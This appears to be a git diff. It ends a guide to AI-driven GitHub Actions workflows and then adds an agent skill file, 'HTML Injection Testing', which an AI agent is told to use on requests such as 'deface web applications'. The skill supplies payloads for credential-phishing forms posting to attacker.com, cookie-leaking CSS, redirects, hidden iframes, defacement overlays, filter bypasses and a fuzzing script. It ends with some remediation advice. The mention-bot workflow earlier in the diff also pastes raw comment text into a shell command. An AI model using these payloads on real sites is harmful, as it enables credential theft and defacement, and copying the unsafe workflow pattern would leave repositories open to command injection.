suites=$(echo $suites | jq '. + ["frontend"]')
|
||||
fi
|
||||
|
||||
if echo "$changed" | grep -q "^src/database/"; then
|
||||
suites=$(echo $suites | jq '. + ["database", "api"]')
|
||||
fi
|
||||
|
||||
# If nothing specific, run all
|
||||
if [ "$suites" = "[]" ]; then
|
||||
suites='["all"]'
|
||||
fi
|
||||
|
||||
echo "suites=$suites" >> $GITHUB_OUTPUT
|
||||
|
||||
test:
|
||||
needs: analyze
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
suite: ${{ fromJson(needs.analyze.outputs.test_suites) }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Run tests
|
||||
run: |
|
||||
if [ "${{ matrix.suite }}" = "all" ]; then
|
||||
npm test
|
||||
else
|
||||
npm test -- --suite ${{ matrix.suite }}
|
||||
fi
|
||||
```
|
||||
|
||||
### 3.2 Deployment with AI Validation
|
||||
|
||||
```yaml
|
||||
# .github/workflows/deploy.yml
|
||||
name: Deploy with AI Validation
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
jobs:
|
||||
validate:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Get deployment changes
|
||||
id: changes
|
||||
run: |
|
||||
# Get commits since last deployment
|
||||
last_deploy=$(git describe --tags --abbrev=0 2>/dev/null || echo "")
|
||||
if [ -n "$last_deploy" ]; then
|
||||
changes=$(git log --oneline $last_deploy..HEAD)
|
||||
else
|
||||
changes=$(git log --oneline -10)
|
||||
fi
|
||||
echo "changes<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$changes" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: AI Risk Assessment
|
||||
id: assess
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
// Analyze changes for deployment risk
|
||||
const prompt = `
|
||||
Analyze these changes for deployment risk:
|
||||
|
||||
${process.env.CHANGES}
|
||||
|
||||
Return JSON:
|
||||
{
|
||||
"riskLevel": "low" | "medium" | "high",
|
||||
"concerns": ["concern1", "concern2"],
|
||||
"recommendations": ["rec1", "rec2"],
|
||||
"requiresManualApproval": boolean
|
||||
}
|
||||
`;
|
||||
|
||||
// Call AI and parse response
|
||||
const analysis = await callAI(prompt);
|
||||
|
||||
if (analysis.riskLevel === 'high') {
|
||||
core.setFailed('High-risk deployment detected. Manual review required.');
|
||||
}
|
||||
|
||||
return analysis;
|
||||
env:
|
||||
CHANGES: ${{ steps.changes.outputs.changes }}
|
||||
|
||||
deploy:
|
||||
needs: validate
|
||||
runs-on: ubuntu-latest
|
||||
environment: production
|
||||
steps:
|
||||
- name: Deploy
|
||||
run: |
|
||||
echo "Deploying to production..."
|
||||
# Deployment commands here
|
||||
```
|
||||
|
||||
### 3.3 Rollback Automation
|
||||
|
||||
```yaml
|
||||
# .github/workflows/rollback.yml
|
||||
name: Automated Rollback
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
reason:
|
||||
description: "Reason for rollback"
|
||||
required: true
|
||||
|
||||
jobs:
|
||||
rollback:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Find last stable version
|
||||
id: stable
|
||||
run: |
|
||||
# Find last successful deployment
|
||||
stable=$(git tag -l 'v*' --sort=-version:refname | head -1)
|
||||
echo "version=$stable" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Rollback
|
||||
run: |
|
||||
git checkout ${{ steps.stable.outputs.version }}
|
||||
# Deploy stable version
|
||||
npm run deploy
|
||||
|
||||
- name: Notify team
|
||||
uses: slackapi/slack-github-action@v1
|
||||
with:
|
||||
payload: |
|
||||
{
|
||||
"text": "🔄 Production rolled back to ${{ steps.stable.outputs.version }}",
|
||||
"blocks": [
|
||||
{
|
||||
"type": "section",
|
||||
"text": {
|
||||
"type": "mrkdwn",
|
||||
"text": "*Rollback executed*\n• Version: `${{ steps.stable.outputs.version }}`\n• Reason: ${{ inputs.reason }}\n• Triggered by: ${{ github.actor }}"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Git Operations
|
||||
|
||||
### 4.1 Automated Rebasing
|
||||
|
||||
```yaml
|
||||
# .github/workflows/auto-rebase.yml
|
||||
name: Auto Rebase
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
|
||||
jobs:
|
||||
rebase:
|
||||
if: github.event.issue.pull_request && contains(github.event.comment.body, '/rebase')
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Setup Git
|
||||
run: |
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
|
||||
- name: Rebase PR
|
||||
run: |
|
||||
# Fetch PR branch
|
||||
gh pr checkout ${{ github.event.issue.number }}
|
||||
|
||||
# Rebase onto main
|
||||
git fetch origin main
|
||||
git rebase origin/main
|
||||
|
||||
# Force push
|
||||
git push --force-with-lease
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Comment result
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number,
|
||||
body: '✅ Successfully rebased onto main!'
|
||||
})
|
||||
```
|
||||
|
||||
### 4.2 Smart Cherry-Pick
|
||||
|
||||
```typescript
|
||||
// AI-assisted cherry-pick that handles conflicts
|
||||
async function smartCherryPick(commitHash: string, targetBranch: string) {
|
||||
// Get commit info
|
||||
const commitInfo = await exec(`git show ${commitHash} --stat`);
|
||||
|
||||
// Check for potential conflicts
|
||||
const targetDiff = await exec(
|
||||
`git diff ${targetBranch}...HEAD -- ${affectedFiles}`
|
||||
);
|
||||
|
||||
// AI analysis
|
||||
const analysis = await ai.analyze(`
|
||||
I need to cherry-pick this commit to ${targetBranch}:
|
||||
|
||||
${commitInfo}
|
||||
|
||||
Current state of affected files on ${targetBranch}:
|
||||
${targetDiff}
|
||||
|
||||
Will there be conflicts? If so, suggest resolution strategy.
|
||||
`);
|
||||
|
||||
if (analysis.willConflict) {
|
||||
// Create branch for manual resolution
|
||||
await exec(
|
||||
`git checkout -b cherry-pick-${commitHash.slice(0, 7)} ${targetBranch}`
|
||||
);
|
||||
const result = await exec(`git cherry-pick ${commitHash}`, {
|
||||
allowFail: true,
|
||||
});
|
||||
|
||||
if (result.failed) {
|
||||
// AI-assisted conflict resolution
|
||||
const conflicts = await getConflicts();
|
||||
for (const conflict of conflicts) {
|
||||
const resolution = await ai.resolveConflict(conflict);
|
||||
await applyResolution(conflict.file, resolution);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
await exec(`git checkout ${targetBranch}`);
|
||||
await exec(`git cherry-pick ${commitHash}`);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 Branch Cleanup
|
||||
|
||||
```yaml
|
||||
# .github/workflows/branch-cleanup.yml
|
||||
name: Branch Cleanup
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 0' # Weekly
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
cleanup:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Find stale branches
|
||||
id: stale
|
||||
run: |
|
||||
# Branches not updated in 30 days
|
||||
stale=$(git for-each-ref --sort=-committerdate refs/remotes/origin \
|
||||
--format='%(refname:short) %(committerdate:relative)' | \
|
||||
grep -E '[3-9][0-9]+ days|[0-9]+ months|[0-9]+ years' | \
|
||||
grep -v 'origin/main\|origin/develop' | \
|
||||
cut -d' ' -f1 | sed 's|origin/||')
|
||||
|
||||
echo "branches<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$stale" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Create cleanup PR
|
||||
if: steps.stale.outputs.branches != ''
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const branches = `${{ steps.stale.outputs.branches }}`.split('\n').filter(Boolean);
|
||||
|
||||
const body = `## 🧹 Stale Branch Cleanup
|
||||
|
||||
The following branches haven't been updated in over 30 days:
|
||||
|
||||
${branches.map(b => `- \`${b}\``).join('\n')}
|
||||
|
||||
### Actions:
|
||||
- [ ] Review each branch
|
||||
- [ ] Delete branches that are no longer needed
|
||||
- Comment \`/keep branch-name\` to preserve specific branches
|
||||
`;
|
||||
|
||||
await github.rest.issues.create({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
title: 'Stale Branch Cleanup',
|
||||
body: body,
|
||||
labels: ['housekeeping']
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. On-Demand Assistance
|
||||
|
||||
### 5.1 @mention Bot
|
||||
|
||||
```yaml
|
||||
# .github/workflows/mention-bot.yml
|
||||
name: AI Mention Bot
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
pull_request_review_comment:
|
||||
types: [created]
|
||||
|
||||
jobs:
|
||||
respond:
|
||||
if: contains(github.event.comment.body, '@ai-helper')
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Extract question
|
||||
id: question
|
||||
run: |
|
||||
# Extract text after @ai-helper
|
||||
question=$(echo "${{ github.event.comment.body }}" | sed 's/.*@ai-helper//')
|
||||
echo "question=$question" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get context
|
||||
id: context
|
||||
run: |
|
||||
if [ "${{ github.event.issue.pull_request }}" != "" ]; then
|
||||
# It's a PR - get diff
|
||||
gh pr diff ${{ github.event.issue.number }} > context.txt
|
||||
else
|
||||
# It's an issue - get description
|
||||
gh issue view ${{ github.event.issue.number }} --json body -q .body > context.txt
|
||||
fi
|
||||
echo "context=$(cat context.txt)" >> $GITHUB_OUTPUT
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: AI Response
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const response = await ai.chat(`
|
||||
Context: ${process.env.CONTEXT}
|
||||
|
||||
Question: ${process.env.QUESTION}
|
||||
|
||||
Provide a helpful, specific answer. Include code examples if relevant.
|
||||
`);
|
||||
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number,
|
||||
body: response
|
||||
});
|
||||
env:
|
||||
CONTEXT: ${{ steps.context.outputs.context }}
|
||||
QUESTION: ${{ steps.question.outputs.question }}
|
||||
```
|
||||
|
||||
### 5.2 Command Patterns
|
||||
|
||||
```markdown
|
||||
## Available Commands
|
||||
|
||||
| Command | Description |
|
||||
| :------------------- | :-------------------------- |
|
||||
| `@ai-helper explain` | Explain the code in this PR |
|
||||
| `@ai-helper review` | Request AI code review |
|
||||
| `@ai-helper fix` | Suggest fixes for issues |
|
||||
| `@ai-helper test` | Generate test cases |
|
||||
| `@ai-helper docs` | Generate documentation |
|
||||
| `/rebase` | Rebase PR onto main |
|
||||
| `/update` | Update PR branch from main |
|
||||
| `/approve` | Mark as approved by bot |
|
||||
| `/label bug` | Add 'bug' label |
|
||||
| `/assign @user` | Assign to user |
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Repository Configuration
|
||||
|
||||
### 6.1 CODEOWNERS
|
||||
|
||||
```
|
||||
# .github/CODEOWNERS
|
||||
|
||||
# Global owners
|
||||
* @org/core-team
|
||||
|
||||
# Frontend
|
||||
/src/frontend/ @org/frontend-team
|
||||
*.tsx @org/frontend-team
|
||||
*.css @org/frontend-team
|
||||
|
||||
# Backend
|
||||
/src/api/ @org/backend-team
|
||||
/src/database/ @org/backend-team
|
||||
|
||||
# Infrastructure
|
||||
/.github/ @org/devops-team
|
||||
/terraform/ @org/devops-team
|
||||
Dockerfile @org/devops-team
|
||||
|
||||
# Docs
|
||||
/docs/ @org/docs-team
|
||||
*.md @org/docs-team
|
||||
|
||||
# Security-sensitive
|
||||
/src/auth/ @org/security-team
|
||||
/src/crypto/ @org/security-team
|
||||
```
|
||||
|
||||
### 6.2 Branch Protection
|
||||
|
||||
```yaml
|
||||
# Set up via GitHub API
|
||||
- name: Configure branch protection
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
await github.rest.repos.updateBranchProtection({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
branch: 'main',
|
||||
required_status_checks: {
|
||||
strict: true,
|
||||
contexts: ['test', 'lint', 'ai-review']
|
||||
},
|
||||
enforce_admins: true,
|
||||
required_pull_request_reviews: {
|
||||
required_approving_review_count: 1,
|
||||
require_code_owner_reviews: true,
|
||||
dismiss_stale_reviews: true
|
||||
},
|
||||
restrictions: null,
|
||||
required_linear_history: true,
|
||||
allow_force_pushes: false,
|
||||
allow_deletions: false
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Security
|
||||
|
||||
- [ ] Store API keys in GitHub Secrets
|
||||
- [ ] Use minimal permissions in workflows
|
||||
- [ ] Validate all inputs
|
||||
- [ ] Don't expose sensitive data in logs
|
||||
|
||||
### Performance
|
||||
|
||||
- [ ] Cache dependencies
|
||||
- [ ] Use matrix builds for parallel testing
|
||||
- [ ] Skip unnecessary jobs with path filters
|
||||
- [ ] Use self-hosted runners for heavy workloads
|
||||
|
||||
### Reliability
|
||||
|
||||
- [ ] Add timeouts to jobs
|
||||
- [ ] Handle rate limits gracefully
|
||||
- [ ] Implement retry logic
|
||||
- [ ] Have rollback procedures
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Gemini CLI GitHub Action](https://github.com/google-github-actions/run-gemini-cli)
|
||||
- [GitHub Actions Documentation](https://docs.github.com/en/actions)
|
||||
- [GitHub REST API](https://docs.github.com/en/rest)
|
||||
- [CODEOWNERS Syntax](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
|
||||
495
skills/html-injection-testing/SKILL.md
Normal file
495
skills/html-injection-testing/SKILL.md
Normal file
@@ -0,0 +1,495 @@
|
||||
---
|
||||
name: HTML Injection Testing
|
||||
description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
|
||||
---
|
||||
|
||||
# HTML Injection Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Web browser with developer tools
|
||||
- Burp Suite or OWASP ZAP
|
||||
- Tamper Data or similar proxy
|
||||
- cURL for testing payloads
|
||||
|
||||
### Required Knowledge
|
||||
- HTML fundamentals
|
||||
- HTTP request/response structure
|
||||
- Web application input handling
|
||||
- Difference between HTML injection and XSS
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Vulnerability Report** - Identified injection points
|
||||
2. **Exploitation Proof** - Demonstrated content manipulation
|
||||
3. **Impact Assessment** - Potential phishing and defacement risks
|
||||
4. **Remediation Guidance** - Input validation recommendations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Understanding HTML Injection
|
||||
|
||||
HTML injection occurs when user input is reflected in web pages without proper sanitization:
|
||||
|
||||
```html
|
||||
<!-- Vulnerable code example -->
|
||||
<div>
|
||||
Welcome, <?php echo $_GET['name']; ?>
|
||||
</div>
|
||||
|
||||
<!-- Attack input -->
|
||||
?name=<h1>Injected Content</h1>
|
||||
|
||||
<!-- Rendered output -->
|
||||
<div>
|
||||
Welcome, <h1>Injected Content</h1>
|
||||
</div>
|
||||
```
|
||||
|
||||
Key differences from XSS:
|
||||
- HTML injection: Only HTML tags are rendered
|
||||
- XSS: JavaScript code is executed
|
||||
- HTML injection is often stepping stone to XSS
|
||||
|
||||
Attack goals:
|
||||
- Modify website appearance (defacement)
|
||||
- Create fake login forms (phishing)
|
||||
- Inject malicious links
|
||||
- Display misleading content
|
||||
|
||||
### Phase 2: Identifying Injection Points
|
||||
|
||||
Map application for potential injection surfaces:
|
||||
|
||||
```
|
||||
1. Search bars and search results
|
||||
2. Comment sections
|
||||
3. User profile fields
|
||||
4. Contact forms and feedback
|
||||
5. Registration forms
|
||||
6. URL parameters reflected on page
|
||||
7. Error messages
|
||||
8. Page titles and headers
|
||||
9. Hidden form fields
|
||||
10. Cookie values reflected on page
|
||||
```
|
||||
|
||||
Common vulnerable parameters:
|
||||
```
|
||||
?name=
|
||||
?user=
|
||||
?search=
|
||||
?query=
|
||||
?message=
|
||||
?title=
|
||||
?content=
|
||||
?redirect=
|
||||
?url=
|
||||
?page=
|
||||
```
|
||||
|
||||
### Phase 3: Basic HTML Injection Testing
|
||||
|
||||
Test with simple HTML tags:
|
||||
|
||||
```html
|
||||
<!-- Basic text formatting -->
|
||||
<h1>Test Injection</h1>
|
||||
<b>Bold Text</b>
|
||||
<i>Italic Text</i>
|
||||
<u>Underlined Text</u>
|
||||
<font color="red">Red Text</font>
|
||||
|
||||
<!-- Structural elements -->
|
||||
<div style="background:red;color:white;padding:10px">Injected DIV</div>
|
||||
<p>Injected paragraph</p>
|
||||
<br><br><br>Line breaks
|
||||
|
||||
<!-- Links -->
|
||||
<a href="http://attacker.com">Click Here</a>
|
||||
<a href="http://attacker.com">Legitimate Link</a>
|
||||
|
||||
<!-- Images -->
|
||||
<img src="http://attacker.com/image.png">
|
||||
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
|
||||
```
|
||||
|
||||
Testing workflow:
|
||||
```bash
|
||||
# Test basic injection
|
||||
curl "http://target.com/search?q=<h1>Test</h1>"
|
||||
|
||||
# Check if HTML renders in response
|
||||
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
|
||||
|
||||
# Test in URL-encoded form
|
||||
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
|
||||
```
|
||||
|
||||
### Phase 4: Types of HTML Injection
|
||||
|
||||
#### Stored HTML Injection
|
||||
|
||||
Payload persists in database:
|
||||
|
||||
```html
|
||||
<!-- Profile bio injection -->
|
||||
Name: John Doe
|
||||
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
|
||||
<h1>Site Under Maintenance</h1>
|
||||
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
|
||||
</div>
|
||||
|
||||
<!-- Comment injection -->
|
||||
Great article!
|
||||
<form action="http://attacker.com/steal" method="POST">
|
||||
<input name="username" placeholder="Session expired. Enter username:">
|
||||
<input name="password" type="password" placeholder="Password:">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
```
|
||||
|
||||
#### Reflected GET Injection
|
||||
|
||||
Payload in URL parameters:
|
||||
|
||||
```html
|
||||
<!-- URL injection -->
|
||||
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
|
||||
|
||||
<!-- Search result injection -->
|
||||
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
|
||||
```
|
||||
|
||||
#### Reflected POST Injection
|
||||
|
||||
Payload in POST data:
|
||||
|
||||
```bash
|
||||
# POST injection test
|
||||
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
|
||||
http://target.com/submit
|
||||
|
||||
# Form field injection
|
||||
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
|
||||
http://target.com/register
|
||||
```
|
||||
|
||||
#### URL-Based Injection
|
||||
|
||||
Inject into displayed URLs:
|
||||
|
||||
```html
|
||||
<!-- If URL is displayed on page -->
|
||||
http://target.com/page/<h1>Injected</h1>
|
||||
|
||||
<!-- Path-based injection -->
|
||||
http://target.com/users/<img src=x>/profile
|
||||
```
|
||||
|
||||
### Phase 5: Phishing Attack Construction
|
||||
|
||||
Create convincing phishing forms:
|
||||
|
||||
```html
|
||||
<!-- Fake login form overlay -->
|
||||
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
|
||||
background:white;z-index:9999;padding:50px;">
|
||||
<h2>Session Expired</h2>
|
||||
<p>Your session has expired. Please log in again.</p>
|
||||
<form action="http://attacker.com/capture" method="POST">
|
||||
<label>Username:</label><br>
|
||||
<input type="text" name="username" style="width:200px;"><br><br>
|
||||
<label>Password:</label><br>
|
||||
<input type="password" name="password" style="width:200px;"><br><br>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<!-- Hidden credential stealer -->
|
||||
<style>
|
||||
input { background: url('http://attacker.com/log?data=') }
|
||||
</style>
|
||||
<form action="http://attacker.com/steal" method="POST">
|
||||
<input name="user" placeholder="Verify your username">
|
||||
<input name="pass" type="password" placeholder="Verify your password">
|
||||
<button>Verify</button>
|
||||
</form>
|
||||
```
|
||||
|
||||
URL-encoded phishing link:
|
||||
```
|
||||
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
|
||||
```
|
||||
|
||||
### Phase 6: Defacement Payloads
|
||||
|
||||
Website appearance manipulation:
|
||||
|
||||
```html
|
||||
<!-- Full page overlay -->
|
||||
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
|
||||
background:#000;color:#0f0;z-index:9999;
|
||||
display:flex;justify-content:center;align-items:center;">
|
||||
<h1>HACKED BY SECURITY TESTER</h1>
|
||||
</div>
|
||||
|
||||
<!-- Content replacement -->
|
||||
<style>body{display:none}</style>
|
||||
<body style="display:block !important">
|
||||
<h1>This site has been compromised</h1>
|
||||
</body>
|
||||
|
||||
<!-- Image injection -->
|
||||
<img src="http://attacker.com/defaced.jpg"
|
||||
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
|
||||
|
||||
<!-- Marquee injection (visible movement) -->
|
||||
<marquee behavior="alternate" style="font-size:50px;color:red;">
|
||||
SECURITY VULNERABILITY DETECTED
|
||||
</marquee>
|
||||
```
|
||||
|
||||
### Phase 7: Advanced Injection Techniques
|
||||
|
||||
#### CSS Injection
|
||||
|
||||
```html
|
||||
<!-- Style injection -->
|
||||
<style>
|
||||
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
|
||||
.content { display: none }
|
||||
.fake-content { display: block }
|
||||
</style>
|
||||
|
||||
<!-- Inline style injection -->
|
||||
<div style="background:url('http://attacker.com/log')">Content</div>
|
||||
```
|
||||
|
||||
#### Meta Tag Injection
|
||||
|
||||
```html
|
||||
<!-- Redirect via meta refresh -->
|
||||
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
|
||||
|
||||
<!-- CSP bypass attempt -->
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src *">
|
||||
```
|
||||
|
||||
#### Form Action Override
|
||||
|
||||
```html
|
||||
<!-- Hijack existing form -->
|
||||
<form action="http://attacker.com/steal">
|
||||
|
||||
<!-- If form already exists, add input -->
|
||||
<input type="hidden" name="extra" value="data">
|
||||
</form>
|
||||
```
|
||||
|
||||
#### iframe Injection
|
||||
|
||||
```html
|
||||
<!-- Embed external content -->
|
||||
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
|
||||
|
||||
<!-- Invisible tracking iframe -->
|
||||
<iframe src="http://attacker.com/track" style="display:none"></iframe>
|
||||
```
|
||||
|
||||
### Phase 8: Bypass Techniques
|
||||
|
||||
Evade basic filters:
|
||||
|
||||
```html
|
||||
<!-- Case variations -->
|
||||
<H1>Test</H1>
|
||||
<ScRiPt>alert(1)</ScRiPt>
|
||||
|
||||
<!-- Encoding variations -->
|
||||
<h1>Encoded</h1>
|
||||
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
|
||||
|
||||
<!-- Tag splitting -->
|
||||
<h
|
||||
1>Split Tag</h1>
|
||||
|
||||
<!-- Null bytes -->
|
||||
<h1%00>Null Byte</h1>
|
||||
|
||||
<!-- Double encoding -->
|
||||
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
|
||||
|
||||
<!-- Unicode encoding -->
|
||||
\u003ch1\u003eUnicode\u003c/h1\u003e
|
||||
|
||||
<!-- Attribute-based -->
|
||||
<div onmouseover="alert(1)">Hover me</div>
|
||||
<img src=x onerror=alert(1)>
|
||||
```
|
||||
|
||||
### Phase 9: Automated Testing
|
||||
|
||||
#### Using Burp Suite
|
||||
|
||||
```
|
||||
1. Capture request with potential injection point
|
||||
2. Send to Intruder
|
||||
3. Mark parameter value as payload position
|
||||
4. Load HTML injection wordlist
|
||||
5. Start attack
|
||||
6. Filter responses for rendered HTML
|
||||
7. Manually verify successful injections
|
||||
```
|
||||
|
||||
#### Using OWASP ZAP
|
||||
|
||||
```
|
||||
1. Spider the target application
|
||||
2. Active Scan with HTML injection rules
|
||||
3. Review Alerts for injection findings
|
||||
4. Validate findings manually
|
||||
```
|
||||
|
||||
#### Custom Fuzzing Script
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import urllib.parse
|
||||
|
||||
target = "http://target.com/search"
|
||||
param = "q"
|
||||
|
||||
payloads = [
|
||||
"<h1>Test</h1>",
|
||||
"<b>Bold</b>",
|
||||
"<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<a href='http://evil.com'>Click</a>",
|
||||
"<div style='color:red'>Styled</div>",
|
||||
"<marquee>Moving</marquee>",
|
||||
"<iframe src='http://evil.com'></iframe>",
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
encoded = urllib.parse.quote(payload)
|
||||
url = f"{target}?{param}={encoded}"
|
||||
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if payload.lower() in response.text.lower():
|
||||
print(f"[+] Possible injection: {payload}")
|
||||
elif "<h1>" in response.text or "<b>" in response.text:
|
||||
print(f"[?] Partial reflection: {payload}")
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}")
|
||||
```
|
||||
|
||||
### Phase 10: Prevention and Remediation
|
||||
|
||||
Secure coding practices:
|
||||
|
||||
```php
|
||||
// PHP: Escape output
|
||||
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
|
||||
|
||||
// PHP: Strip tags
|
||||
echo strip_tags($user_input);
|
||||
|
||||
// PHP: Allow specific tags only
|
||||
echo strip_tags($user_input, '<p><b><i>');
|
||||
```
|
||||
|
||||
```python
|
||||
# Python: HTML escape
|
||||
from html import escape
|
||||
safe_output = escape(user_input)
|
||||
|
||||
# Python Flask: Auto-escaping
|
||||
{{ user_input }} # Jinja2 escapes by default
|
||||
{{ user_input | safe }} # Marks as safe (dangerous!)
|
||||
```
|
||||
|
||||
```javascript
|
||||
// JavaScript: Text content (safe)
|
||||
element.textContent = userInput;
|
||||
|
||||
// JavaScript: innerHTML (dangerous!)
|
||||
element.innerHTML = userInput; // Vulnerable!
|
||||
|
||||
// JavaScript: Sanitize
|
||||
const clean = DOMPurify.sanitize(userInput);
|
||||
element.innerHTML = clean;
|
||||
```
|
||||
|
||||
Server-side protections:
|
||||
- Input validation (whitelist allowed characters)
|
||||
- Output encoding (context-aware escaping)
|
||||
- Content Security Policy (CSP) headers
|
||||
- Web Application Firewall (WAF) rules
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Test Payloads
|
||||
|
||||
| Payload | Purpose |
|
||||
|---------|---------|
|
||||
| `<h1>Test</h1>` | Basic rendering test |
|
||||
| `<b>Bold</b>` | Simple formatting |
|
||||
| `<a href="evil.com">Link</a>` | Link injection |
|
||||
| `<img src=x>` | Image tag test |
|
||||
| `<div style="color:red">` | Style injection |
|
||||
| `<form action="evil.com">` | Form hijacking |
|
||||
|
||||
### Injection Contexts
|
||||
|
||||
| Context | Test Approach |
|
||||
|---------|---------------|
|
||||
| URL parameter | `?param=<h1>test</h1>` |
|
||||
| Form field | POST with HTML payload |
|
||||
| Cookie value | Inject via document.cookie |
|
||||
| HTTP header | Inject in Referer/User-Agent |
|
||||
| File upload | HTML file with malicious content |
|
||||
|
||||
### Encoding Types
|
||||
|
||||
| Type | Example |
|
||||
|------|---------|
|
||||
| URL encoding | `%3Ch1%3E` = `<h1>` |
|
||||
| HTML entities | `<h1>` = `<h1>` |
|
||||
| Double encoding | `%253C` = `<` |
|
||||
| Unicode | `\u003c` = `<` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Attack Limitations
|
||||
- Modern browsers may sanitize some injections
|
||||
- CSP can prevent inline styles and scripts
|
||||
